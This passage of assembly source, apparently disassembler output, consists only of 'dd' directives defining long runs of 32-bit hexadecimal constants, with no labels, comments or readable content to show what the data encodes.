0AD74918Eh, 2809525h, 9B68E2D1h dd 0BB602896h, 58F818DAh, 871D3079h, 9DD1AEBh, 0D0C03863h dd 55603812h, 58E6DA8Ah, 95317559h, 730A1490h, 73F9A3D3h dd 0BED2755Ah, 5850DC9Ah, 0E9DD12F6h, 0F8AA8532h, 0E668020Eh dd 0D74B4F2Dh, 0C0C61230h, 9629B5h, 5A5765D5h, 9230FA59h dd 0EBA1FBFh, 0D3BD65Bh, 600D0A24h, 0B827E996h, 49907A11h dd 0B34ABDD4h, 24529517h, 688273B8h, 40C4110Fh, 0BE138686h dd 0BBF48A83h, 27DB0928h, 0DEF36020h, 941FF68h, 0B1B57AF4h dd 6F393F05h, 5EC3F674h, 0B4FA311h, 844667B5h, 0F3FA3F49h dd 4B683EF5h, 0CDEADACh, 0E15D2C4Bh, 6DFFBEAAh, 29DA641h dd 52A34505h, 2CFD02D5h, 0D93102AFh, 0B139E498h, 6B14A282h dd 35086C61h, 64F94E42h, 95EFC487h, 40C0EDA2h, 8B82E4C5h dd 0A415D419h, 89FC1597h, 4FF7406Bh, 87752565h, 138869A5h dd 0EC6A16C1h, 84BCDDE4h, 0AC901B6Eh, 0C54117EAh, 0C6F7AE56h dd 0BB454735h, 0D9BBA635h, 53576085h, 0C4049B4Dh, 89A8A0D1h dd 0A5DEA8A4h, 68C74402h, 406177F6h, 290D89C3h, 4344FDCAh dd 0A471C2Ch, 3A100FACh, 6278092Dh, 2953520h, 5090B753h dd 2AF041B4h, 0C99454E8h, 0AFDB3062h, 80E16954h, 63541D2Eh dd 0E58BA018h, 9503030h, 1323340Ch, 0C11F0F7Ch, 76870E63h dd 0E713E901h, 0ADAA841Bh, 0A74E85B2h, 0E9BF68EEh, 21076B4Bh dd 2172CD29h, 4FD45EC7h, 0FC689EE5h, 0A3AEE5DBh, 10914C85h dd 874E9237h, 1ACD87F7h, 4E58EF5h, 0C207ED66h, 0DFE47A0Bh dd 95CCF801h, 53803547h, 0F416D5BBh, 4EE97E3Fh, 17089092h dd 634F1B42h, 5AF05E01h, 61616C5Fh, 0C044207Bh, 0E75A6AD2h dd 844BCFA8h, 5ECAEEB0h, 0B2655CCBh, 52190589h, 3DDA9FA0h dd 92C18AF4h, 9156FBFh, 93EFF03Bh, 95F6EA02h, 742298E9h dd 321D622Dh, 2CFE084Ah, 6641E0C4h, 6B3D1468h, 909FDA2h dd 0B05F852Ch, 5B46B31Ah, 41B8B428h, 4131EF41h, 0F36B9F31h dd 0B4D89961h, 17E3B320h, 0CDD71AE9h, 945641FEh, 329D2FD3h dd 8640AE2Ah, 703B1CBDh, 95DFA12Bh, 0A21189E8h, 18A27591h dd 6A483DE9h, 1A0FBF57h dd 656E192Eh, 0A15D60C7h, 0D08989D3h, 16103024h, 0EB121F4Ch dd 4F073910h, 0A0EF0F61h, 0F9313896h, 4E690424h, 0ECAB3301h dd 2A40FEBh, 424A00D5h, 0C81749E9h, 5CA73573h, 0A5E9786Ch dd 50E38C4Ah, 0FB96F613h, 0AAA8C229h, 59086282h, 3DD238F2h dd 0E1D4ED0Bh, 3EAB007Dh, 0D2113A72h, 35A380ECh, 52274337h dd 0E20EC232h, 5C86199Eh, 0BC5D163Eh, 0A3BAA440h, 8CFD1223h dd 3E3A444h, 0D56A1EAFh, 2D02B976h, 0A9A3D4B4h, 0C8EFA357h dd 9D3B1C1Eh, 0B7DC2DD5h, 8B315CD1h, 86DD4CE7h, 1ED00525h dd 0D4AFA793h, 8CE978B1h, 0E9EFAF95h, 5AA7E606h, 31B1092Ch dd 98851CF7h, 0FF229FD3h, 0BEC1F901h, 0CE96EEAh, 40A7D39Eh dd 46CA3541h, 0B4C54DCDh, 0C320036Ah, 767129BEh, 0A3E2073Dh dd 0C0701A11h, 848D92EAh, 0ABE9E40Ch, 5F32F9Bh, 4CA205BAh dd 0E7DB034Bh, 0D58F2C70h, 0FDA181C3h, 0A1323022h, 7CC83D02h dd 5FB225E9h, 74C9664Ch, 3CC30447h, 840E2A9h, 0D1BD27E9h dd 17AC40D1h, 0C196C813h, 430E9004h, 0DD5A2F57h, 6FF7C03Ah dd 1BE90572h, 6F37AEE0h, 12888D34h, 69E8C706h, 29D1603Eh dd 3EE75BDAh, 806F18B1h, 0FF34B99Eh, 64B76E7Ch, 0EF6208Ch dd 8164E912h, 0FC018429h, 0D870D028h, 0B754B7FDh, 20D45049h dd 0CE83D84Ch, 2209D683h, 0F1712D68h, 18DA8022h, 22E94391h dd 74B5EE4Ah, 5FD8AE49h, 0F821255Ah, 3C2F77Eh, 0E923A27Ch dd 0DF5CEAAAh, 106BC6DBh, 93ED68FAh, 0F7880E4Dh, 0A085F949h dd 9C199713h, 2241525Bh, 0EFE1C740h, 4DFA1C21h, 0A2C87E41h dd 4805C400h, 1BEDBA26h, 0C027AA25h, 27D12901h, 99C0C1E9h dd 353D34BBh, 5BB85069h, 3EFE09B8h, 9F2AE6Fh, 0F5075766h dd 0C1F43450h, 439BEFCh, 7DADB813h, 0CF20AF58h, 61294076h dd 0E80AB01Dh, 5497688Bh, 0B6155291h, 0EDEE8100h, 872F187Dh dd 8C0F905h, 0B7005D1Dh, 0B151666Eh, 0B0CFE04Dh, 52D1B5FBh dd 3D4FBC02h, 0DC85D3Fh, 0C22FB040h, 274302C0h, 33665F5Bh dd 0C1F0440Fh, 0D813F79Dh, 3186B100h, 64D151C0h, 24FE5AE8h dd 287B6ABDh, 9557FFBh, 7CBA5886h, 66277653h, 0E1F70B79h dd 950CCE9h, 0F0397497h, 0B14BFAE9h, 411D80E4h, 46F73BAAh dd 0C839EA5Eh, 3BF5A883h, 0FE0117CCh, 556C0AFFh, 0F444CB29h dd 22CC52A1h, 863FF17Ch, 26092813h, 8B4737F3h, 43175E2Ah dd 7E29CEDCh, 0F8B06F5Dh, 9706EB0h, 13FE962h, 30981457h dd 0C29F5A63h, 0C33D0242h, 0DDA9A50Fh, 7705CE20h, 7B57FE27h dd 0D4E9086Ah, 28F72760h, 0F64BDA50h, 0BE1D1D69h, 0F429CE84h dd 1CC5AF7Ah, 0AD57C5EAh, 2CEB2BBCh, 6239F6A5h, 680109AFh dd 377B71FEh, 5C790CAh, 4EC14234h, 0CA4FE9FDh, 0C448EC2Eh dd 4A0FE2E6h, 1BDFD6E9h, 8F44F73Dh, 5AF6CEFFh, 0E9CA20AEh dd 83C972C8h, 4DDC826Eh, 1444755Dh, 0DB5A5425h, 1E4802EAh dd 0D3864005h, 59B00D44h, 1116637Dh, 22AB0141h, 0B89EA74h dd 0C702DBF4h, 603CE339h, 0B1E5238h, 0F3E936D8h, 33252F70h dd 0B0655714h, 6C5AEE26h, 0CB2920C6h, 680AA889h, 0A0BD0280h dd 80206A2Fh, 7368FED7h, 0E8090014h, 2362355Dh, 561679A2h dd 2456EEE9h, 0BC1504BAh, 1CEE1384h, 0A5ED87Ch, 8FF35FFBh dd 0CE49EF82h, 0EB10B901h, 0E43F1305h, 430BEEAEh, 72FC60h dd 0B5505912h, 0D6013461h, 1C081A1Ch, 298C1408h, 4762464h dd 0FEA35DE9h, 8203BB5h, 814F00DCh, 4D032D1Fh, 66EA7E67h dd 0A857113h, 6C2808h, 0C7FEDFF6h, 644EEF80h, 53DF4AFAh dd 159301D0h, 0A68919B0h, 3B10A056h, 3EFA2D04h, 132AC1AFh dd 0A0FB0482h, 0CE6995BCh, 827B8910h, 57AB37BAh, 2ABBE819h dd 3E2BD17h, 0E2ACE9B1h, 38F41C75h, 0E70995B4h, 75048858h dd 0B923A0C8h, 4E0C1F12h, 7DF38110h, 0EA44062Fh, 72187765h dd 0F295BD68h, 0B51B7649h, 0AEB405Ch, 8082A0D2h, 0F728EBEDh dd 0C5F5168Bh, 0C1B344DCh, 8030AD84h, 0B7C0B11Eh, 73CF2852h dd 32EF7359h, 8758CBB5h, 0C5AB80E3h, 0B0E4BEACh, 68B340ACh dd 0E76FCA2Dh, 207C0BF3h, 4BCF54F4h, 7DCEE2C4h, 0E3F25B78h dd 94AD062h, 326D3EBh, 23D20CBh, 0D95DC38Dh, 527FAE80h dd 20E06695h, 592F4294h, 0F17601h, 6D585C6Ah, 270CA81h dd 1457142Ch, 0F7D4022Dh, 0FDF9F5DAh, 6915C942h, 0B7BD331Ah dd 9E468A26h, 6498CB5Dh, 6C9837C6h, 0E93A5F06h, 1ED311E5h dd 4B515EF2h, 0DD6B8CDAh, 0C3D107DAh, 1E10EB83h, 7FD2052Ch dd 16E2E65h, 0E8D75ED4h, 73F168C9h, 0F22DC802h, 760C194Ch dd 0B18F523Dh, 58BF66E2h, 0D4723654h, 68590233h, 4C461599h dd 55585413h, 921260Fh, 9CF7867Ah, 1C1F980Dh, 38B95EE9h dd 8037AD5Eh, 25E5BE56h, 0E1455BD1h, 0C6B42F26h, 0E15F005Bh dd 8BCF810Dh, 52606206h, 0CC04ED0Ch, 3CE9137Ah, 5BA2A253h dd 257D8DE2h, 89598825h, 0FB1DFA60h, 0B94A4C2Bh, 0C5DD2F0Ah dd 0E87B12C9h, 3CBB4F8Ch, 7C705A2Eh, 900451BDh, 0F69C2428h dd 29258210h, 664E7800h, 0AAB8632Ch, 955A6840h, 0C152AF22h dd 2077FAEAh, 637FFA0Bh, 2A31FD56h, 1C3E62Bh, 7E84C581h dd 0A940056Fh, 12F713B7h, 0E014E911h, 3AFEBEC0h, 6824867Ch dd 0AFBF5A7Fh, 5C4A0B08h, 3944FA70h, 0CEE320BEh, 0C08A0A81h dd 10A806E8h, 0D1681752h, 531BC8BAh, 79B45002h, 62308DB7h dd 3FBD824Bh, 6395F616h, 4E5AAD33h, 0E909938Fh, 1C7D796Ch dd 31DA7F8Bh, 0C3C34F3Ah, 4092DF68h, 0A75B747Ah, 34A01616h dd 0DC371FC1h, 0CD01C909h, 0F0685AB0h, 5DCC344Eh, 0EB6C0435h dd 85DFF740h, 0EF80812Ch, 0D798DB0Ah, 0BF59FF93h, 9778492Ch dd 0E91726A3h, 0ACE0C318h, 818DA0B1h, 56EBF0Ch, 0D03F6696h dd 315BED0Eh, 5002F324h, 0C6DAF927h, 52094BC7h, 51184768h dd 0A65A45EBh, 65BB1013h, 9D60A74Fh, 0FFEA9649h, 729DF64Eh dd 9440269Eh, 171089B8h, 9780E81Ah, 1B0A12D9h, 39940CC1h dd 0A27E70C0h, 19EB75CFh, 85DB1107h, 1F16EB41h, 71D3B809h dd 0A15288BCh, 0F23C4426h, 43C474Ch, 120536DBh, 20F625EEh dd 0F1F766B5h, 22F91CF8h, 4BB29424h, 0AE7317EEh, 6A7A8260h dd 0E0085812h, 0BA5B0E2Fh, 2F927188h, 797CAF6h, 13C712FEh dd 2173C22Bh, 0AC3241F7h, 0AAA0126Ah, 4A01B13Ch, 5153E2F9h dd 9DE64236h, 0B660305Ch, 73F388B8h, 2FD97F5Ah, 0AB664570h dd 0DC878E25h, 0F805C9B1h, 54FCE0DCh, 0A292DBECh, 0A5F8203Eh dd 56EE011h, 2C260B8Dh, 33822913h, 7C0B2764h, 74DF0CEAh dd 19488D0Bh, 0D0907A48h, 424C420h, 7E2B5EBBh, 0DA13FF64h dd 39535DBBh, 2F9C2709h, 84DAC361h, 5A1A68EDh, 16CAD498h dd 81077563h, 3E912712h, 0F37F1679h, 0C7815FCFh, 0E06A0DB5h dd 0FD956F7Eh, 3BF48FABh, 7EDB590Bh, 8B2CBF29h, 0DF5B9FB6h dd 0D5ABD5D6h, 9205FC58h, 0C234C75Dh, 410F966Ah, 5F6A1968h dd 0AEE7842Ah, 0B04DAA1h, 0FDA354E8h, 610F4A00h, 266801F0h dd 58EB303h, 0B87E23E9h, 7F5DC44Fh, 58C10102h, 0C8899FCCh dd 9D162A27h, 0B02147A0h, 0EF415AABh, 87A7F757h, 29591140h dd 3C0FD731h, 6F79FE2Fh, 55B30225h, 9C5BD2F7h, 1881A525h dd 75E074Ah, 0BBB2D44Bh, 0F3784112h, 0C3301E32h, 5646B8C9h dd 0D0C86202h, 12167809h, 0BE0FBFEFh, 0AC3B4A6Dh, 2170CBA9h dd 2877FF94h, 54129448h, 0EED5A58Ch, 0E14605Ch, 5867685Fh dd 6362B79Eh, 2050F21Fh dd 0E4C933B7h, 1BB8086h, 0CD30D6F6h, 0E209320Dh, 9053612Bh dd 0B273ED25h, 0DD201B94h, 3B1CBB0Eh, 878B7E19h, 8ECE641Bh dd 392A98CBh, 0AC4CEE50h, 0AC7F1278h, 0D2C4EB47h, 91C081Ah dd 0D0EFDC14h, 90650FE9h, 39A85F7Eh, 1F2100B5h, 0C130B87Fh dd 6080EB6Eh, 7BFB61DFh, 3CC4BE9h, 0DBF1809Fh, 0FC55CB82h dd 84421221h, 3CF3EF9Ch, 7B61DD2Fh, 56656058h, 0B0FC44B7h dd 0BE4FEEB3h, 2E680007h, 5E742317h, 4EE68102h, 416CF708h dd 1283FFDFh, 463F3722h, 26F890FFh, 0F2B5CB15h, 3BD0209Eh dd 4982C0Dh, 2E2C78BFh, 0C2A44059h, 61D4065Fh, 0B3516861h dd 0EB7D092Fh, 40456979h, 45E40E0h, 0C84CF405h, 7E87BC41h dd 0C6C0502Fh, 0CED325FBh, 8CA2AAD3h, 0A8875995h, 0AC26D2D0h dd 43190565h, 0E4016DE6h, 4EED06FBh, 30CAE1D8h, 0C10C1310h dd 9F3E503Bh, 7BF11E65h, 0D1418CB9h, 1E7210E1h, 6C4AFC3Ah dd 47B1020Eh, 49D52F79h, 0EBCCF72Ch, 9111233h, 93B5A9F9h dd 0BCD081BAh, 0E1A72EA5h, 0D0BA9650h, 0EE1CCCA6h, 164B2649h dd 84D8EB89h, 63F809E9h, 4D12441Bh, 0E85B0806h, 0DFFBC254h dd 0D2AF09Dh, 9F8D3BB4h, 9506A6A3h, 6745C30Bh, 0B2FD2D76h dd 9E16D708h, 9F301C40h, 97205D78h, 0F7E9162Fh, 80384143h dd 3E7A4273h, 2A093E0Ch, 77E93C35h, 49253001h, 0CF655553h dd 0E6D566D2h, 0B3F806h, 67B252ACh, 0D2F6E2D0h, 9F4125B8h dd 44B7C101h, 866A69C1h, 50AE43Eh, 0E9604B64h, 74449012h dd 35A24070h, 804CE9C2h, 782CCBD6h, 124BCF01h, 43F44A10h dd 561AA854h, 18CA1D68h, 2D83AA37h, 8BD1BAE9h, 40259F02h dd 0A06DFE77h, 0B1CC108h, 604F080Ch, 8980F37Fh, 0F90EC8CDh dd 84F5280Bh, 5F096C0Fh, 79C24F7h, 0D7AF04C2h, 63607062h dd 0A2D0322h, 0EB82500Eh, 0E6BB352Bh, 0B160169Ah, 7B2A17F6h dd 1EBA75C8h, 89731244h, 1ED53E61h, 2F0C9A05h, 2F20240h dd 79D5882Dh, 7F84629Ch, 2C0014FFh, 0A683E77Eh, 0F88B12CFh dd 54558467h, 0F473B9AFh, 0E61DFCAFh, 5CB240CAh, 6817A392h dd 0D8AD76A9h, 0E1595B8Ch, 266ED09h, 80A8F64Ah, 6B934548h dd 0D5A04149h, 290BB487h, 5FCA89B2h, 48D07AE9h, 799D5072h dd 0CC774B88h, 5E830B43h, 90771C0Bh, 2635408Dh, 8BBB1154h dd 4D549D6Ch, 0D5C601C2h, 7BEC61F9h, 0E9288456h, 0C7796B49h dd 0EF3CB70Bh, 0FE18FD89h, 6B977ACAh, 2EA4F0A7h, 1E206DFAh dd 0C0080434h, 5C038038h, 9CB06D5Fh, 9868125Eh, 0B8BD3007h dd 0CC7E0DEEh, 6D482505h, 2EF15A3h, 0A8FC2D37h, 66F7C0C2h dd 397495F7h, 0E572C082h, 8551741Ch, 57B04BE4h, 0CB5FFF08h dd 0B17D00E7h, 7288526Ch, 0A6F748CEh, 2048542Dh, 5697C0E2h dd 0FAAE4799h, 0AB8EC5F5h, 5F5B0009h, 40CAC779h, 23BE7F16h dd 0A62D07E3h, 0DD36C2ADh, 0BF0A3558h, 9420424Ah, 65F3ED02h dd 930E773Ah, 0E104E86Bh, 875DEAB6h, 0B3445AFFh, 0ACE55FF9h dd 6AECB13Eh, 0BDE4E2FCh, 4B5159CCh, 0D1A631ABh, 0EBA181B4h dd 88CA6E1Fh, 0E1612AECh, 4A6B8B7Eh, 5FFA4561h, 2E80832Dh dd 3542A825h, 810B2C60h, 270B94C2h, 42A854E8h, 99E90908h dd 0C983FCDEh, 9509365Ah, 3500FEEh, 129E7AE4h, 47B49101h dd 166E1643h, 0BCAC1223h, 7B754215h, 9A1FE26h, 0B1DA7058h dd 776842F2h, 0FD88477Eh, 91B90155h, 0BA61BB74h, 0BD14609Ah dd 0B04D186Dh, 0F348306Ch, 0B2BE349h, 90778A3Dh, 583B891Ch dd 20BC8C12h, 7F0CEE84h, 2969FD26h, 0E362C00Fh, 40FE012Bh dd 150081Ch, 756944B8h, 0D8823578h, 0D004007h, 96370BDh dd 3D5D8A2Dh, 9E0323ADh, 5643E1Eh, 0F3FF40B0h, 5F8B0097h dd 0B71609E9h, 56D4F012h, 538EB59Fh, 0E7C020B7h, 3CFFE02h dd 5221EF80h, 0EED96DB6h, 1A9BE706h, 0A0ACEF3h, 0B2F7280Eh dd 6623A73Ch, 0FE386EAAh, 1F09BD40h, 0D69548D8h, 44C601CAh dd 7B60FC2Fh, 6A13A4F9h, 4D64BF45h, 0EC10A1C2h, 0ACD6209Eh dd 0A5296826h, 0E4FA64E2h, 0C0F10445h, 813DAB6Eh, 0E03080B3h dd 49094145h, 5665F9E9h, 0D7E2CB5Fh, 129094DFh, 53ADEDE9h dd 0CB17E0DAh, 5D3BBB17h, 0F5EB9A00h, 9F76109Ah, 0E0D44C62h dd 0D9037B6Ah, 0F758D35h, 465BBA18h, 2BD0CF8h, 29424414h dd 8C628ECh, 40140CD0h, 9343B3D0h, 7C906809h, 648292F1h dd 0F8772C11h, 216A092Ch, 0D5741870h, 0BC9E0049h, 0F41A787Ah dd 0B44360D3h, 0DC381F6Ah, 429FF894h, 0F893A26Fh, 49B0745Fh dd 9342FD62h, 7D529A5Ch, 957C36DAh, 1C3D4495h, 0FBF65AD4h dd 9857E7A5h, 0E174B3DBh, 9116B008h, 3B1A5E9h, 1626F62Bh dd 4DB45810h, 9D5FE79h, 26B86816h, 0EE62BE22h, 0B233D27Dh dd 0E04E5AE2h, 790AE61Ch, 0A754BB1Ah, 604AAE00h, 76F08910h dd 0CB2BF1E9h, 430BD660h, 1831D8E0h, 602EAC0h, 0CF726805h dd 9F8CCB7h, 0D08850A4h, 801D08F7h, 90FBDD16h, 8196BD89h dd 1929112h, 22C27D4Eh, 0DE096F54h, 9508A05Bh, 0D1A7F2F6h dd 0A240092Bh, 4F27C5E6h, 803CF2C2h, 805A7997h, 3504D8F7h dd 0CB82AC3Ah, 0F3FC0BFEh, 0EDD1B360h, 29FC3EEh, 6C40B766h dd 0C9B03FC2h, 31596FB0h, 39B05EF1h, 0C8BDF4B9h, 0FD680B0Eh dd 0C1E49B0Dh, 0C56671B2h, 0D7648204h, 0AA2CEE16h, 2B9A5D92h dd 0CB3F6A07h, 0EDC2D465h, 588284B2h, 17FFCAABh, 70EC1527h dd 3C5AD5A1h, 0A2060269h, 0DF25E912h, 45FFD289h, 41464B8h dd 2C077EE2h, 0B73250Dh, 3DE5D8A7h, 2164B209h, 1AF28005h dd 0C42E826Fh, 55438957h, 56848BCEh, 710271B0h, 2925F10Eh dd 260808D7h, 0B365A799h, 81F59C9Dh, 0D4842CECh, 0F572C8A5h dd 9D18DE09h, 17D37062h, 122C825Ah, 4050D74Ah, 0C1B0870h dd 1E4DF490h, 12E3077Bh, 35A21C8Eh, 6B67D567h, 0A2C9521Fh dd 8B1C7D98h, 0FA74749Dh, 2E338040h, 2E704C33h, 0E9C390F8h dd 5777489Eh, 0EF9C2D83h, 3F7EA0EAh, 71ABD42Fh, 58AB7479h dd 40318FB8h, 5DEFA741h, 330F22Eh, 30F405C3h, 66688AE9h dd 89FB9C9Bh, 0BCD6E6EAh, 88980049h, 9525DA2Bh, 59F11456h dd 2568F584h, 56768C12h, 2709AEF2h, 5D5E6291h, 37169DD0h dd 3307108Fh, 0DF096CAAh, 98B79946h, 7B3EC111h, 0BD70BFD0h dd 0D432CE25h, 265EFCBh, 30F6BA9Fh, 12372C50h, 7466F28h dd 4406F918h, 3EBCAA5Dh, 6DA52260h, 2E527DE9h, 0AE804A2Ah dd 580F36DEh, 0F134AD43h, 0B457EE5Eh, 14FA68EFh, 68E27EC1h dd 7F3374F6h, 728AF340h, 0E929187Fh, 5A5FAF06h, 0B11F2BDh dd 0ED610DE2h, 3101DEFCh, 0B83DE9EEh, 6567CC2Fh, 8141644Bh dd 4C4A0712h, 17E3DB60h, 109A05Ah, 473B4FF5h, 0C7E9F07Dh dd 28F94912h, 899E81A8h, 1C32700Fh, 905A55Eh, 79C01DB0h dd 0BE23BD68h, 5D5161AFh, 0C640FE50h, 5F4FAC35h, 0B5D12AFh dd 44FDF438h, 3ED504BAh, 0FF5A6A7Bh, 0CAC1CC81h, 0E0D720B5h dd 274A685Ch, 0C0A81285h, 0E4B3BDB4h, 0AC3ED4A5h, 5D89A218h dd 0C665EBD4h, 245C8493h, 0EB5868CBh, 18C60708h, 2E5672Ch dd 6B76111Dh, 1628C581h, 0F37F3DFDh, 4CC13B7Bh, 0B46410BEh dd 0FB1B550h, 0BFC98088h, 0BF8C3C85h, 36EF4A4Dh, 0ABD11AE8h dd 68FCC4F6h, 0F7F3EEE4h, 2D85B50h, 42076562h, 0C2E905E9h dd 0D9F6E0B1h, 6B4C06Dh, 0F5DDF9E3h, 9F63F82Fh, 0B975148Ah dd 8027EA5h, 31168C61h, 0BE92D4FDh, 93659F45h, 572F248Ah dd 1AA19ED7h, 62BC70E9h dd 0EDEB6955h, 98D7166Fh, 6B05C3B6h, 5543D110h, 214406C0h dd 3BEBB03Ah, 8C9746E5h, 8F8A112Eh, 378680Ch, 915BBD61h dd 48C01B28h, 5ACD86B4h, 65FE2B69h, 0E90C0262h, 5EC0CBAh dd 0E9D55520h, 0BF95D6F8h, 0BE6B5A8h, 90FE7FC2h, 9198FF6Bh dd 0F69F78DBh, 3DA58566h, 408B885h, 0E567D16h, 0D000CEFCh dd 93512B0Dh, 68055318h, 20581AA2h, 8DFC9005h, 38C2A7D5h dd 0A6F2805Eh, 0BF36E138h, 0DAACF68Fh, 160C1156h, 0C8312A83h dd 207641DCh, 0F12B15Fh, 6D044965h, 8F1D1148h, 0E30482B5h dd 0DD5A096Bh, 43E57F03h, 9F63958h, 7D79601Bh, 0BCE95010h dd 9AF4BE5Fh, 287112CAh, 0A3D704E0h, 0BA54AB52h, 2DF03D71h dd 0E57C8B5h, 7E0A2C2Dh, 4E7D1778h, 32E5D981h, 0A08ABA8Ah dd 4CBAB519h, 4415D95Dh, 0D0E4BF58h, 5F590905h, 65784246h dd 115D0782h, 97EB321h, 0BC104DF5h, 59B5EBDEh, 0E33864F2h dd 1DAA96A9h, 0E7ED707h, 4C922C55h, 0CEE76A91h, 0BA845Eh dd 0C18853A4h, 0E8F73058h, 0F1272859h, 3496FD5Ah, 44EB302Dh dd 0C44C4AD3h, 986FF6F8h, 5E86E90Dh, 0B1C9907Bh, 76258811h dd 9863F040h, 232B3875h, 187963C8h, 0EFCC57E9h, 4916E7F2h dd 0FD1E4F80h, 9A5C685h, 9C5A90C3h, 0A16990BFh, 0B3BED2Ch dd 6453587h, 0DE975C82h, 4250827Fh, 0FE937E5h, 0E9447EC1h dd 84134669h, 0BDFF90Dh, 8E37565Eh, 0A5E0B688h, 0F6E0A05Dh dd 0B44EF431h, 74C90EBDh, 0C22B24C4h, 0DA0B3D25h, 220509BBh dd 0A18A3BC8h, 3ED2096Dh, 0F29C96D5h, 597B2561h, 0FEAE540Bh dd 0A4311E63h, 6B5C3479h, 5FC3274Bh, 0FE2BF605h, 7EDC1A41h dd 2A7466EDh, 9F77098Eh, 0C358B6E9h, 54FC59Dh, 8D6B6968h dd 74EC4018h, 492BD426h, 9DA0504Fh, 0FC485812h, 8C734105h dd 2745720Eh, 0D7B3954Dh, 0E6BA857Fh, 91E98256h, 1016FDBAh dd 0DB9F0C7Fh, 0B959E561h, 0C5969FECh, 0B885BB37h, 0AB5CCDBCh dd 7A91FBF4h, 2981F4E0h, 0B72714C3h, 400C9D34h, 60003D92h dd 0D43B84EBh, 0A8EABB5Fh, 669E381Ah, 5074EB4Ah, 2A259B8h dd 75CB4E74h, 3EC5A569h, 285F32BCh, 0A64AC4E7h, 0F218C5F3h dd 665A109Eh, 0E2D82939h, 6A7BEF86h, 3E89523Eh, 8F195453h dd 0D9464E94h, 2AB935E8h, 0C1E466ECh, 707A58Ch, 68CDFE60h dd 313C4B02h, 2BD578C2h, 603B69EAh, 1DB287A5h, 0DD79EF75h dd 65177D4Eh, 0A55F62ACh, 76B83FADh, 0B830E982h, 6815D9C6h dd 0A6FC623Fh, 0FBE927AFh, 71BDC878h, 11E3EA5Eh, 330A52E5h dd 0A835C111h, 0B6C54CABh, 99AD3EEDh, 60572BE1h, 0F096FCDh dd 725D363Dh, 1AE3B642h, 0E551973h, 96CF4996h, 5B1EF884h dd 8501A2CBh, 9824057Bh, 3F7296EEh, 1A866814h, 74EE8654h dd 0BDF60543h, 0EA37C97Bh, 74C26F2h, 20EC885h, 0A571D02Ah dd 583BF587h, 0DD3B1F24h, 0A6899F05h, 40E65CD4h, 20BB5357h dd 5ECC4F39h, 31BB5884h, 4F0E4FBh, 738E9BAh, 28D4A39h dd 24D9E47Fh, 689AC8BEh, 193E2A27h, 54CEA2EFh, 0F846046h dd 0BE600C7Fh, 0E918DD78h, 0BFFBC0F3h, 733908AFh, 0AA9272F4h dd 4A26BDE6h, 0ED066469h, 170A76C8h, 16721EE5h, 6288D752h dd 0AE499D2h, 266F450Bh, 220B4C10h, 7EED7822h, 0C30EF453h dd 71F5B24Bh, 0D7BEE360h, 7D7BB26h, 856DCFA3h, 0AD798EFh dd 0BBD3935Fh, 0A79E0306h, 9C226D1h, 0B120B8FDh, 800417D7h dd 0E53AC241h, 36D45E4Eh, 0CEDCFB5h, 2FC38A2Fh, 0DD586AA5h dd 87854260h, 5AD6B3C0h, 0E5F28952h, 9F5E6630h, 744E4ADCh dd 45D613C2h, 355B0EB6h, 0EE2A03A9h, 0E5FD8D4Dh, 5F080014h dd 5D2FE955h, 5F19C476h, 0B458F889h, 0F91F81C3h, 0A02F4C74h dd 34406BC9h, 0BC9802BAh, 0D331998Dh, 5BD8CCC0h, 49C66812h dd 9DEA7CCh, 5762D76Ch, 6E5F0741h, 0C49F2A82h, 441503F6h dd 0D53113A4h, 0B8ED51EBh, 6940E569h, 2DA30550h, 0CA2777E9h dd 39B66C45h, 78B13F8Fh, 3265B4A6h, 7F1DB904h, 0B2F84171h dd 74E4C902h, 0E16061F3h, 1C2446F1h, 8F120E63h, 818528BEh dd 37B3444Fh, 973E8641h, 744C9645h, 440B596Ah, 0A130A513h dd 7BCA0A10h, 1DDD2F39h, 682DA4E4h, 3DA64813h, 37C69DC7h dd 0E6315004h, 0E3AF010Fh, 420C4101h, 70B72E2h, 86E17A7Fh dd 0F27F2116h, 800C2505h, 4C71052Fh, 5C0975F1h, 0D2DF13Dh dd 720E6F6h, 0A11147EBh, 30F76FBEh, 5035E988h, 8980AFB4h dd 9D6D1268h, 75995D66h, 5F027h, 0D111A36Ch, 2B5D05E8h dd 0C128C20Bh, 1B205DE0h, 6B363E27h, 1B2E77FEh, 0E9018E60h dd 7C260FD3h, 55CA56Eh, 6DBE1C08h, 92DE9C66h, 281E8890h dd 2C0885D0h, 84F7AC85h, 6807B566h, 3671DBC3h, 0CE56789Fh dd 0E1C543E2h, 0A587EB28h, 0CCFCE931h, 0F267FE2Eh, 3D17F9B6h dd 86E4EFC1h, 0E785133Eh, 223BC380h, 1936C756h, 218AC02Dh dd 5DB85EF3h, 571A7E0Bh, 1730806Ch, 952CAE53h, 880E672h dd 64FB555Eh, 6D282680h, 3890A220h, 44620782h, 0A593715Fh dd 4BF8885Ch, 0E71DC31Fh, 43921740h, 3100BE50h, 0DB0D481Eh dd 0B51A1823h, 0ADDFA340h, 0C47A373Fh, 0A78654F4h, 0B15117F3h dd 0B27DB862h, 400BBAD7h, 8247E5D5h, 0BE08CE74h, 4AC02556h dd 68F8093Bh, 40D2F725h, 2C3E2FE4h, 18898246h, 5EF8776Dh dd 669296B1h, 39790BBAh, 6C107FCh, 68300379h, 3C571770h dd 5362759h, 0AF29EAAAh, 95F482FAh, 0AEBD04C0h, 81CDD9CCh dd 33BF2E5Dh, 0EC0EDE4h, 0CC12DA1h, 68B44559h, 1A73942Eh dd 14050C08h, 0A8F2BB5Bh, 1E5D5C2Fh, 0D52E9067h, 0F258710Eh dd 0AB23BF7Dh, 9013D848h, 630C8DB2h, 0FF59121h, 56499617h dd 5975C369h, 0A4183CA0h, 5AF5B997h, 80DD2800h, 45BB0EDh dd 53510035h, 0DFF6FAB7h, 539EFC0h, 8004E7D0h, 1BE1A75h dd 28FE2C41h, 7F2271E8h, 53814BADh, 62292036h, 0EA81203Fh dd 0B8237A18h, 64644DC5h, 244CA240h, 18C0654h, 721ABEF3h dd 51CBD839h, 2060BCE0h, 0F562450Ch, 94029554h, 95409203h dd 0C20969C3h, 7801FE74h, 0ABF09F5Fh, 0E02D6B01h, 9312E911h dd 0CE0E982Eh, 0FE8C6AF9h, 0CF03BF2Ch, 417D6F6h, 82C7BF68h dd 2C9778E5h, 7F6DA5A2h, 0EA2602E5h, 739FCE2h, 42A96259h dd 251D14D5h, 177B0AFDh, 13B46847h, 0FDD278ACh, 93B40103h dd 0C4FED4F6h, 0ED2C43EDh, 0FAF02913h, 0E8FC22D8h, 60F4ED7h dd 2B91B48Fh, 10263D99h, 33437749h, 6F9F4158h, 824D7AEBh dd 0D3CF19A3h, 0CCDCAF5Ah, 